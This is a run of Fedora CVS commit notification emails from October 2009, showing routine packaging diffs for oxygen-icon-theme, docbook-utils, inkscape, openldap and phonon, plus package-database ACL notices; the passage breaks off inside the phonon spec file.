Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	5 Oct 2009 15:52:58 -0000	1.11
+++ .cvsignore	7 Oct 2009 12:45:49 -0000	1.12
@@ -1,2 +1 @@
-oxygen-icons-4.3.1.tar.bz2
 oxygen-icons-4.3.2.tar.bz2



From ovasik at fedoraproject.org  Wed Oct  7 12:49:11 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Wed,  7 Oct 2009 12:49:11 +0000 (UTC)
Subject: rpms/docbook-utils/devel docbook-utils-papersize.patch, NONE,
	1.1 docbook-utils.spec, 1.35, 1.36
Message-ID: <20091007124911.C9F4B11C00E6@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13399

Modified Files:
	docbook-utils.spec 
Added Files:
	docbook-utils-papersize.patch 
Log Message:
fix locale-based papersize selection (#527395)

docbook-utils-papersize.patch:
 jw.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE docbook-utils-papersize.patch ---
diff -urNp docbook-utils-0.6.14-orig/bin/jw.in docbook-utils-0.6.14/bin/jw.in
--- docbook-utils-0.6.14-orig/bin/jw.in	2009-10-07 14:41:19.000000000 +0200
+++ docbook-utils-0.6.14/bin/jw.in	2009-10-07 14:45:22.000000000 +0200
@@ -368,7 +368,7 @@ case "$SGML_OPTIONS" in
 	fi
 	if [ -n "$papersize" ]
 	then
-	  SGML_OPTIONS="-V paper-type=$papersize $SGML_OPTIONS"
+	  SGML_OPTIONS="-V %paper-type%=$papersize $SGML_OPTIONS"
 	fi
 	;;
 esac


Index: docbook-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/devel/docbook-utils.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- docbook-utils.spec	27 Aug 2009 14:00:20 -0000	1.35
+++ docbook-utils.spec	7 Oct 2009 12:49:11 -0000	1.36
@@ -1,6 +1,6 @@
 Name: docbook-utils
 Version: 0.6.14
-Release: 20%{?dist}
+Release: 21%{?dist}
 Group: Applications/Text
 
 Summary: Shell scripts for managing DocBook documents
@@ -34,6 +34,7 @@ Patch2: docbook-utils-w3mtxtconvert.patc
 Patch3: docbook-utils-grepnocolors.patch
 Patch4: docbook-utils-sgmlinclude.patch
 Patch5: docbook-utils-rtfmanpage.patch
+Patch6: docbook-utils-papersize.patch
 
 %description
 This package contains scripts are for easy conversion from DocBook
@@ -63,6 +64,7 @@ PDF format.
 %patch3 -p1 -b .grepnocolors
 %patch4 -p1 -b .sgmlinclude
 %patch5 -p1 -b .rtfman
+%patch6 -p1 -b .papersize
 
 %build
 ./configure --prefix=%{_prefix} --mandir=%{_mandir} --libdir=%{_libdir}
@@ -132,6 +134,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2ps.*
 
 %changelog
+* Wed Oct 07 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-21
+- fix locale-based papersize selection (#527395)
+
 * Thu Aug 27 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-20
 - provide symlink manpage for docbook2txt
 



From lkundrak at fedoraproject.org  Wed Oct  7 12:50:36 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Wed,  7 Oct 2009 12:50:36 +0000 (UTC)
Subject: rpms/inkscape/F-11 import.log, 1.3, 1.4 inkscape.spec, 1.79,
	1.80 sources, 1.27, 1.28
Message-ID: <20091007125036.655CF11C02A1@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/inkscape/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7200/F-11

Modified Files:
	import.log inkscape.spec sources 
Log Message:
Merge from devel



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	25 Sep 2009 17:09:46 -0000	1.3
+++ import.log	7 Oct 2009 12:50:35 -0000	1.4
@@ -1,3 +1,4 @@
 inkscape-0_47-0_15_pre1_20090810svn_fc12:F-11:inkscape-0.47-0.15.pre1.20090810svn.fc12.src.rpm:1249880790
 inkscape-0_47-0_16_pre2_20090907svn_fc12:F-11:inkscape-0.47-0.16.pre2.20090907svn.fc12.src.rpm:1252331611
 inkscape-0_47-0_16_pre3_20090925svn_fc12:F-11:inkscape-0.47-0.16.pre3.20090925svn.fc12.src.rpm:1253898554
+inkscape-0_47-0_16_pre3_20091017svn_fc13:F-11:inkscape-0.47-0.16.pre3.20091017svn.fc13.src.rpm:1254914015


Index: inkscape.spec
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-11/inkscape.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- inkscape.spec	25 Sep 2009 17:09:46 -0000	1.79
+++ inkscape.spec	7 Oct 2009 12:50:36 -0000	1.80
@@ -1,14 +1,14 @@
 Name:           inkscape
 Version:        0.47
-Release:        0.16.pre3.20090925svn%{?dist}
+Release:        0.16.pre3.20091017svn%{?dist}
 Summary:        Vector-based drawing program using SVG
 
 Group:          Applications/Productivity
 License:        GPLv2+
 URL:            http://inkscape.sourceforge.net/
 #Source0:        http://download.sourceforge.net/inkscape/%{name}-%{version}.tar.bz2
-# svn export -r22293 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22293 inkscape
-# tar cf - inkscape |xz -9 -c >inkscape.tar.xz
+# svn export -r22413 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22413 inkscape
+# tar czf inkscape.tar.gz inkscape
 Source0:        %{name}.tar.gz
 
 Patch0:         inkscape-20090410svn-uniconv.patch
@@ -218,6 +218,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20091017svn
+- Move to a later snapshot
+
 * Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20090925svn
 - Move to a later snapshot
 - Drop debugging compiler flags, enable optimizations again


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-11/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	25 Sep 2009 17:09:46 -0000	1.27
+++ sources	7 Oct 2009 12:50:36 -0000	1.28
@@ -1 +1 @@
-acc22f1af9defbbb7f6759e6810b966a  inkscape.tar.gz
+b6737491add9549d5da3c1e9e9d4db1c  inkscape.tar.gz



From lkundrak at fedoraproject.org  Wed Oct  7 12:50:40 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Wed,  7 Oct 2009 12:50:40 +0000 (UTC)
Subject: rpms/inkscape/F-10 import.log, 1.2, 1.3 inkscape.spec, 1.64,
	1.65 sources, 1.20, 1.21
Message-ID: <20091007125040.2BBF211C02A1@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/inkscape/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7204/F-10

Modified Files:
	import.log inkscape.spec sources 
Log Message:
Merge from devel



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	25 Sep 2009 17:09:54 -0000	1.2
+++ import.log	7 Oct 2009 12:50:39 -0000	1.3
@@ -1,2 +1,3 @@
 inkscape-0_47-0_15_pre1_20090810svn_fc12:F-10:inkscape-0.47-0.15.pre1.20090810svn.fc12.src.rpm:1249881732
 inkscape-0_47-0_16_pre3_20090925svn_fc12:F-10:inkscape-0.47-0.16.pre3.20090925svn.fc12.src.rpm:1253898566
+inkscape-0_47-0_16_pre3_20091017svn_fc13:F-10:inkscape-0.47-0.16.pre3.20091017svn.fc13.src.rpm:1254914001


Index: inkscape.spec
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-10/inkscape.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- inkscape.spec	25 Sep 2009 17:09:54 -0000	1.64
+++ inkscape.spec	7 Oct 2009 12:50:39 -0000	1.65
@@ -1,14 +1,14 @@
 Name:           inkscape
 Version:        0.47
-Release:        0.16.pre3.20090925svn%{?dist}
+Release:        0.16.pre3.20091017svn%{?dist}
 Summary:        Vector-based drawing program using SVG
 
 Group:          Applications/Productivity
 License:        GPLv2+
 URL:            http://inkscape.sourceforge.net/
 #Source0:        http://download.sourceforge.net/inkscape/%{name}-%{version}.tar.bz2
-# svn export -r22293 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22293 inkscape
-# tar cf - inkscape |xz -9 -c >inkscape.tar.xz
+# svn export -r22413 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22413 inkscape
+# tar czf inkscape.tar.gz inkscape
 Source0:        %{name}.tar.gz
 
 Patch0:         inkscape-20090410svn-uniconv.patch
@@ -218,6 +218,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20091017svn
+- Move to a later snapshot
+
 * Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20090925svn
 - Move to a later snapshot
 - Drop debugging compiler flags, enable optimizations again


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-10/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	25 Sep 2009 17:09:54 -0000	1.20
+++ sources	7 Oct 2009 12:50:40 -0000	1.21
@@ -1 +1 @@
-acc22f1af9defbbb7f6759e6810b966a  inkscape.tar.gz
+b6737491add9549d5da3c1e9e9d4db1c  inkscape.tar.gz



From lkundrak at fedoraproject.org  Wed Oct  7 12:50:43 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Wed,  7 Oct 2009 12:50:43 +0000 (UTC)
Subject: rpms/inkscape/EL-5 import.log, 1.1, 1.2 inkscape.spec, 1.41,
	1.42 sources, 1.14, 1.15
Message-ID: <20091007125043.614C911C02A1@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/inkscape/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7234/EL-5

Modified Files:
	import.log inkscape.spec sources 
Log Message:
Merge from devel



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/EL-5/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	25 Sep 2009 17:10:24 -0000	1.1
+++ import.log	7 Oct 2009 12:50:43 -0000	1.2
@@ -1 +1,2 @@
 inkscape-0_47-0_16_pre3_20090925svn_fc12:EL-5:inkscape-0.47-0.16.pre3.20090925svn.fc12.src.rpm:1253898601
+inkscape-0_47-0_16_pre3_20091017svn_fc13:EL-5:inkscape-0.47-0.16.pre3.20091017svn.fc13.src.rpm:1254914012


Index: inkscape.spec
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/EL-5/inkscape.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- inkscape.spec	26 Sep 2009 07:25:07 -0000	1.41
+++ inkscape.spec	7 Oct 2009 12:50:43 -0000	1.42
@@ -1,14 +1,14 @@
 Name:           inkscape
 Version:        0.47
-Release:        0.16.pre3.20090925svn%{?dist}.1
+Release:        0.16.pre3.20091017svn%{?dist}
 Summary:        Vector-based drawing program using SVG
 
 Group:          Applications/Productivity
 License:        GPLv2+
 URL:            http://inkscape.sourceforge.net/
 #Source0:        http://download.sourceforge.net/inkscape/%{name}-%{version}.tar.bz2
-# svn export -r22293 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22293 inkscape
-# tar cf - inkscape |xz -9 -c >inkscape.tar.xz
+# svn export -r22413 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22413 inkscape
+# tar czf inkscape.tar.gz inkscape
 Source0:        %{name}.tar.gz
 
 Patch0:         inkscape-20090410svn-uniconv.patch
@@ -38,13 +38,7 @@ BuildRequires:  poppler-devel
 BuildRequires:  loudmouth-devel
 BuildRequires:  boost-devel
 BuildRequires:  gsl-devel
-%if 0%{el5}
-%ifnarch ppc
 BuildRequires:  libwpg-devel
-%endif
-%else
-BuildRequires:  libwpg-devel
-%endif
 BuildRequires:  ImageMagick-c++-devel
 BuildRequires:  perl(XML::Parser)
 BuildRequires:  perl(ExtUtils::Embed)
@@ -224,8 +218,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sat Sep 26 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20090925svn.1
-- Do not use wpg on EL-5 w/o Desktop (ppc)
+* Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20091017svn
+- Move to a later snapshot
 
 * Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20090925svn
 - Move to a later snapshot


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/EL-5/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	25 Sep 2009 17:10:24 -0000	1.14
+++ sources	7 Oct 2009 12:50:43 -0000	1.15
@@ -1 +1 @@
-acc22f1af9defbbb7f6759e6810b966a  inkscape.tar.gz
+b6737491add9549d5da3c1e9e9d4db1c  inkscape.tar.gz



From pkgdb at fedoraproject.org  Wed Oct  7 13:04:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 13:04:05 +0000
Subject: [pkgdb] phonon had acl change status
Message-ID: <20091007130405.504B110F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on phonon (Fedora 11) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/phonon



From pkgdb at fedoraproject.org  Wed Oct  7 13:04:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 13:04:06 +0000
Subject: [pkgdb] phonon had acl change status
Message-ID: <20091007130406.3845A10F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on phonon (Fedora 11) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/phonon



From pkgdb at fedoraproject.org  Wed Oct  7 13:04:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 13:04:07 +0000
Subject: [pkgdb] phonon had acl change status
Message-ID: <20091007130407.C7C2F10F8AD@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on phonon (Fedora 11) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/phonon



From jzeleny at fedoraproject.org  Wed Oct  7 13:04:36 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Wed,  7 Oct 2009 13:04:36 +0000 (UTC)
Subject: rpms/openldap/F-12 openldap-2.3.37-smbk5pwd.patch, 1.4,
	1.5 openldap.spec, 1.152, 1.153
Message-ID: <20091007130436.B099F11C00E6@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/openldap/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16868

Modified Files:
	openldap-2.3.37-smbk5pwd.patch openldap.spec 
Log Message:
updated smbk5pwd patch to be linked with libldap (#526500)

openldap-2.3.37-smbk5pwd.patch:
 contrib/slapd-modules/smbk5pwd/README |    5 +++++
 servers/slapd/overlays/Makefile.in    |   10 +++++++---
 2 files changed, 12 insertions(+), 3 deletions(-)

Index: openldap-2.3.37-smbk5pwd.patch
===================================================================
RCS file: /cvs/extras/rpms/openldap/F-12/openldap-2.3.37-smbk5pwd.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- openldap-2.3.37-smbk5pwd.patch	18 Sep 2009 10:01:45 -0000	1.4
+++ openldap-2.3.37-smbk5pwd.patch	7 Oct 2009 13:04:36 -0000	1.5
@@ -47,7 +47,7 @@ diff -up openldap-2.4.11/servers/slapd/o
  	$(LTLINK_MOD) -module -o $@ valsort.lo version.lo $(LINK_LIBS)
  
 +smbk5pwd.la : smbk5pwd.lo
-+	$(LTLINK_MOD) -module -o $@ smbk5pwd.lo version.lo $(LINK_LIBS)
++	$(LTLINK_MOD) -module -o $@ smbk5pwd.lo version.lo -lldap -L../../../libraries/libldap/.libs/ $(LINK_LIBS)
 +
  install-local:	$(PROGRAMS)
  	@if test -n "$?" ; then \


Index: openldap.spec
===================================================================
RCS file: /cvs/extras/rpms/openldap/F-12/openldap.spec,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- openldap.spec	30 Sep 2009 08:28:51 -0000	1.152
+++ openldap.spec	7 Oct 2009 13:04:36 -0000	1.153
@@ -11,7 +11,7 @@
 Summary: LDAP support libraries
 Name: openldap
 Version: %{version}
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: OpenLDAP
 Group: System Environment/Daemons
 Source0: ftp://ftp.OpenLDAP.org/pub/OpenLDAP/openldap-release/openldap-%{version}.tgz
@@ -645,6 +645,9 @@ fi
 %attr(0644,root,root)      %{evolution_connector_libdir}/*.a
 
 %changelog
+* Wed Oct 07 2009 Jan Zeleny <jzeleny at redhat.com> 2.4.18-5
+- updated smbk5pwd patch to be linked with libldap (#526500)
+
 * Wed Sep 30 2009 Jan Zeleny <jzeleny at redhat.com> 2.4.18-4
 - buffer overflow patch from upstream
 - added /etc/openldap/slapd.d and /etc/openldap/slapd.conf.bak



From ltinkl at fedoraproject.org  Wed Oct  7 13:11:53 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 13:11:53 +0000 (UTC)
Subject: rpms/phonon/F-10 qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch,
	NONE, 1.1 phonon.spec, 1.20, 1.21
Message-ID: <20091007131153.AEB4611C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/phonon/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18190/F-10

Modified Files:
	phonon.spec 
Added Files:
	qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch 
Log Message:
sync with devel/


qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch:
 audiooutput.cpp   |    4 +++-
 devicemanager.cpp |   22 ++++++++++++++++++++--
 2 files changed, 23 insertions(+), 3 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than	2009-08-16 14:20:43.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp	2009-08-16 14:45:56.000000000 +0200
@@ -141,7 +141,9 @@ bool AudioOutput::setOutputDevice(int ne
         // Save previous state
         GstState oldState = GST_STATE(m_audioSink);
         const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, "device");
-        const QByteArray deviceId = deviceList.at(newDevice).gstId;
+        const QByteArray deviceId = (deviceList.at(newDevice).gstId == "PulseAudio"
+                                     ? "default"
+                                     : deviceList.at(newDevice).gstId);
         m_device = newDevice;
 
         // We test if the device can be opened by checking if it can go from NULL to READY state
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than	2009-08-15 12:39:08.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp	2009-08-16 14:45:13.000000000 +0200
@@ -50,6 +50,8 @@ AudioDevice::AudioDevice(DeviceManager *
     //get name from device
     if (gstId == "default") {
         description = "Default audio device";
+    } else if (gstId == "PulseAudio") {
+        description = QObject::tr("Pass all audio through the PulseAudio Sound Server.\n").toUtf8();
     } else {
         GstElement *aSink= manager->createAudioSink();
 
@@ -175,6 +177,18 @@ GstElement *DeviceManager::createAudioSi
                 }
             }
 
+            if (!sink) {
+                sink = gst_element_factory_make ("pulsesink", NULL);
+                if (canOpenDevice(sink)) {
+                    m_backend->logMessage("AudioOutput using pulse audio sink");
+                    m_audioSink = "pulsesink";
+                }
+                else if (sink) {
+                    gst_object_unref(sink);
+                    sink = 0;
+                }
+            }
+
 #ifdef USE_ALSASINK2
             if (!sink) {
                 sink = gst_element_factory_make ("_k_alsasink", NULL);
@@ -306,8 +320,12 @@ void DeviceManager::updateDeviceList()
     QList<QByteArray> list;
 
     if (audioSink) {
-        list = GstHelper::extractProperties(audioSink, "device");
-        list.prepend("default");
+        if (m_audioSink == "pulsesink") {
+            list.append("PulseAudio");
+        } else {
+            list = GstHelper::extractProperties(audioSink, "device");
+            list.prepend("default");
+        }
 
         for (int i = 0 ; i < list.size() ; ++i) {
             QByteArray gstId = list.at(i);


Index: phonon.spec
===================================================================
RCS file: /cvs/extras/rpms/phonon/F-10/phonon.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- phonon.spec	26 Sep 2009 21:27:20 -0000	1.20
+++ phonon.spec	7 Oct 2009 13:11:53 -0000	1.21
@@ -1,16 +1,23 @@
+
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 6%{?dist}.1
+Release: 101%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
-#Source0: ftp://ftp.kde.org/pub/kde/stable/phonon/%{version}/%{name}-%{version}.tar.bz2
 Source0: ftp://ftp.kde.org/pub/kde/stable/4.2.1/phonon-%{version}.tar.bz2
-Source1: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# Make PulseAudio the default again when listed by the backend.
+Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
+Source11: hi16-phonon-gstreamer.png
+Source12: hi22-phonon-gstreamer.png
+Source13: hi32-phonon-gstreamer.png
+Source14: hi48-phonon-gstreamer.png
+Source15: hi64-phonon-gstreamer.png
+Source16: hi128-phonon-gstreamer.png
+
+# Make PulseAudio the default when listed by the backend.
 # Note that this currently only works for the Xine backend. Device selection in
 # the GStreamer backend is weird: there is a setting for "sink" which cannot be
 # set through systemsettings, and listed devices are only those supported by the
@@ -18,6 +25,11 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 # it as a "sink", and then the device setting is ignored entirely.
 Patch0:  phonon-4.2.96-pulseaudio.patch
 Patch1:  phonon-4.2.96-xine-pulseaudio.patch
+Patch2:  qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
+
+## define to build phonon-backend-xine only
+#define xine_only 1
+#Patch10: phonon-4.3.1-xineonly.patch
 
 ## Upstream patches
 Patch100: phonon-4.3.2-gstreamer-utf8-url.patch
@@ -32,7 +44,6 @@ BuildRequires: cmake >= 2.6.0
 BuildRequires: glib2-devel
 BuildRequires: gstreamer-devel
 BuildRequires: gstreamer-plugins-base-devel
-BuildRequires: GraphicsMagick
 BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
@@ -41,20 +52,21 @@ BuildRequires: qt4-devel >= 4.4.0
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
-## hard-code phonon-backend-xine, if yum chooses -gstreamer by default
-#Requires(hint): phonon-backend-xine%{?_isa} >= %{version}
+
+## can switch to Requires instead of Conflicts once bootstrapping is done
+#Requires: qt4%{?_isa} >= %{_qt4_version}
+Conflicts: qt4 < 4.5.2-21
 
 %description
 %{summary}.
 
-%package backend-gstreamer
-Summary: Gstreamer phonon backend
-Group:   Applications/Multimedia
+%package devel
+Summary: Developer files for %{name}
+Group:   Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Provides: phonon-backend%{?_isa} = %{version}-%{release}
-Obsoletes: %{name}-backend-gst < 4.2.0-4
-Provides:  %{name}-backend-gst = %{version}-%{release}
-%description backend-gstreamer
+Requires: qt4-devel
+Requires: pkgconfig
+%description devel
 %{summary}.
 
 %package backend-xine
@@ -65,13 +77,15 @@ Provides: phonon-backend%{?_isa} = %{ver
 %description backend-xine
 %{summary}.
 
-%package devel
-Summary: Developer files for %{name}
-Group:   Development/Libraries
+%package backend-gstreamer
+Summary: Gstreamer phonon backend
+Group:   Applications/Multimedia
+Epoch:   2
 Requires: %{name} = %{version}-%{release}
-Requires: qt4-devel
-Requires: pkgconfig
-%description devel
+Provides: phonon-backend%{?_isa} = %{version}-%{release}
+Obsoletes: %{name}-backend-gst < 4.2.0-4
+Provides:  %{name}-backend-gst = %{version}-%{release}
+%description backend-gstreamer
 %{summary}.
 
 
@@ -79,11 +93,17 @@ Requires: pkgconfig
 %setup -q -n phonon-%{version}%{?alphatag}
 %patch0 -p1 -b .pulseaudio
 %patch1 -p1 -b .xine-pulseaudio
+%patch2 -p4 -b .gst-pulseaudio
 %patch100 -p0 -b .gstreamer-utf8-url
 %patch101 -p0 -b .gstreamer-volumefader
 %patch102 -p1 -b .xine_nonascii
 %patch103 -p1 -b .xine_nonascii-2
 
+# not working?  use -C .../xine hack below instead for now  -- Rex
+%if 0%{?xine_only}
+#%patch10 -p1 -b .xineonly
+%endif
+
 
 %build
 mkdir -p %{_target_platform}
@@ -91,31 +111,35 @@ pushd %{_target_platform}
 %{cmake} ..
 popd
 
-make %{?_smp_mflags} -C %{_target_platform}
+make %{?_smp_mflags} -C %{_target_platform}%{?xine_only:/xine}
 
 
 %install
 rm -rf %{buildroot}
 
-make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
+make install/fast DESTDIR=%{buildroot} -C %{_target_platform}%{?xine_only:/xine}
 
 # move the oxygen-only phonon-xine icons to hicolor
-test -d %{buildroot}%{_datadir}/icons/hicolor && exit 0
 mv %{buildroot}%{_datadir}/icons/oxygen \
    %{buildroot}%{_datadir}/icons/hicolor
 
-install -D -m 0644 %{SOURCE1} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
-for i in 16 22 32 48 64 128; do
-  mkdir -p %{buildroot}%{_datadir}/icons/hicolor/${i}x${i}/apps
-  gm convert -background None -geometry ${i}x${i}  %{SOURCE1} %{buildroot}%{_datadir}/icons/hicolor/${i}x${i}/apps/phonon-gstreamer.png
-  touch --reference %{SOURCE1} %{buildroot}%{_datadir}/icons/hicolor/${i}x${i}/apps/phonon-gstreamer.png
-done
+%if ! 0%{?xine_only}
+# gstreamer icons
+install -D -m 0644 %{SOURCE10} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
+install -D -m 0644 %{SOURCE11} %{buildroot}%{_datadir}/icons/hicolor/16x16/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE12} %{buildroot}%{_datadir}/icons/hicolor/22x22/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE13} %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE14} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE15} %{buildroot}%{_datadir}/icons/hicolor/64x64/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE16} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/phonon-gstreamer.png
+%endif
 
 
 %clean
 rm -rf %{buildroot}
 
 
+%if ! 0%{?xine_only}
 %post -p /sbin/ldconfig
 
 %postun -p /sbin/ldconfig
@@ -123,28 +147,29 @@ rm -rf %{buildroot}
 %post backend-gstreamer
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 
-%post backend-xine
-touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
-
-%posttrans backend-gstreamer
-gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
-
-%posttrans backend-xine
-gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
-
 %postun backend-gstreamer
 if [ $1 -eq 0 ] ; then
   touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
   gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 fi
 
+%posttrans backend-gstreamer
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+%endif
+
+%post backend-xine
+touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+
 %postun backend-xine
 if [ $1 -eq 0 ] ; then
   touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
   gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 fi
 
+%posttrans backend-xine
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 
+%if ! 0%{?xine_only}
 %files
 %defattr(-,root,root,-)
 %doc COPYING.LIB
